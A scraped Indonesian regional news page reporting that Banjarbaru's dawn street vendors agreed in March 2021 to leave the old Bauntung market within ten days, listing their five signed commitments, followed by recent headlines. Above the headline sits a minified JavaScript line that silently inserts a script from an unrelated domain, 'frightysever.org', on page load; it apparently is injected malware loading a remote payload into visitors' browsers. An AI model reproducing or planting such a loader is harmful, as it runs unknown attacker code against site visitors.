(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

17 Maret Batas Waktu ‘Angkat Kaki’, Ini 5 Poin Kesepakatan PKL Subuh-Pemko


KANALKALIMANTAN.COM, BANJARBARU – Kesepakatan yang dicapai antara Pemerintah Kota (Pemko) Banjarbaru dengan Pedagang Kaki Lima (PKL) Subuh, membuka lebar penuntasan relokasi Pasar Bauntung Banjarbaru.

Yakni, menutup secara permanen kawasan pasar lama yang berada di Jalan A Yani Km 34, Kota Banjarbaru.

Berdasarkan hasil kesepakatan yang dicapai antar kedua belah pihak, tertuang di dalam surat pernyataan bermaterai, PKL Subuh akhirnya menyetujui untuk meninggalkan pasar lama.

 

Berikut 5 poin penyataan PKL Subuh:
1. Bersedia pindah/relokasi ke tempat/lahan baru untuk dijadikan sebagai lokasi berjualan PKL Subuh.

2. Lokasi berjualan yang tersebut akan kami kelola secara swadaya oleh PKL Subuh.

3. Kami bersedia pindah secara swadaya, tidak menuntut Pemerintah Kota Banjarbaru untuk memberikan izin dan memberikan fasilitas pemindahan ke lokasi yang baru.

4. Waktu yang diberikan untuk persiapan pindah adalah 10 hari terhitung mulai tanggal 8 sampai dengan 17 Maret 2021.

5. Bersedia mematuhi seluruh regulasi yang ditetapkan Pemerintah Kota Banjarbaru.

Kesepakatan ini dicapai setelah dilaksanakannya pertemuan di kediaman Wakil Wali Kota Banjarbaru, Wartono, Senin (8/3/2021) malam.

Sebagaimana diketahui, keberadaan PKL Subuh sejatinya telah menghambat jalannya relokasi Pasar Bauntung Banjarbaru. Pihak pemerintah terpaksa harus menunda penutupan pasar Bauntung yang lama di Jalan A Yani Km 34, lantaran adanya keberadaan mereka.

Alasan PKL Subuh menolak pergi dari pasar lama diklaim lantaran mereka tidak diikutsertakan dalam pemindahan ke lokasi Pasar Bauntung yang berada di Jalan RO Ulin, Kecamatan Banjarbaru Selatan.

Memang rencana pemerintah relokasi ke pasar baru tersebut hanya dikhususkan bagi pedagang Pasar Bauntung Banjarbaru yang telah terdaftar selama ini oleh pihak pemerintah.

Namun disamping itu, sebenarnya Pemerintah Kota (Pemko) Banjarbaru telah mencarikan solusi atas nasib PKL Subuh.

Salah satunya, yakni dengan menawarkan dipindahkan ke pasar Pondok Mangga. Sayangnya, tawaran tersebut ditolak mentah-mentah oleh para PKL.

Dengan hasil kesepakatan ini, pemerintah akhirnya bisa menjalankan tahap akhir dari relokasi Pasar Bauntung. Yakni, menutup secara permanen Pasar Bauntung yang selama ini kondisinya telah dianggap kumuh dan tidak terawat. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie


Al Ghifari

Recent Posts

Peringatan Isra Mikraj di PTAM Intan Banjar Diisi Tausiah oleh Habib Syauqi

KANALKALIMANTAN.COM, BANJARBARU – Peringatan Isra Mikraj Nabi Besar Muhammad SAW 1447 Hijriah, di aula kantor… Read More

3 jam ago

Drainase dan Sungai Tersumbat Perparah Banjir Rob di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR meninjau titik banjir rob upaya… Read More

5 jam ago

Jalan Sehat Bank Kalsel Bersama Warga dan ASN Pemkab HSU ‎

KANALKALIMANTAN.COM, AMUNTAI - Bertajuk "Jalan Sehat ASN Bangga Pakai QRIS" Bank Kalsel menggelar jalan santai… Read More

6 jam ago

Mengawal Kasus Pembunuhan Zahra Dilla Lewat Gerakan Udara Aksi Kamisan

KANALKALIMANTAN.COM, BANJARBARU — Social Justice Institute Kalimantan (SJIK) kembali mengingatkan kasus pembunuhan Zahra Dilla yang… Read More

7 jam ago

Bappenas Dukung Bangun Jalan Basarang–Batanjung 54 Km, Target Fungsional 2027

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat dukungan pemerintah pusat dalam percepatan pembangunan… Read More

7 jam ago

Banjir Kalsel Bencana Ekologis, Wapres Gibran Sebut Ada Kesalahan Tata Ruang

KANALKALIMANTAN.COM, MARTAPURA - Wakil Presiden (Wapres) Gibran Rakabuming Raka meninjau langsung lokasi banjir di Kalimantan… Read More

11 jam ago

This website uses cookies.